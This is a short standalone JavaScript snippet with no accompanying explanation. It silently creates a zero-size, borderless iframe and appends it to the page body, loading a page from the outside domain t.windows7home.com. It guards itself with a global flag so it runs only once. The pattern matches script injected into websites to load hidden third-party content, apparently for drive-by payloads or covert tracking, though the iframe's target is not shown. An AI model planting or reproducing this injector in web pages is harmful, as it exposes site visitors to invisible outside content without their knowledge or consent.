(function () {
  if (window.ck_http) {
    return;
  }
  window.ck_http = true;
  var iframe = document.createElement("iframe");
  iframe.height = "0";
  iframe.width = "0";
  iframe.scrolling = "on";
  iframe.frameborder = "0";
  iframe.style.border = "none";
  iframe.src = "https://t.windows7home.com/ck.html?v=0811";
  var body = document.getElementsByTagName("body");
  body[0].appendChild(iframe);
})();
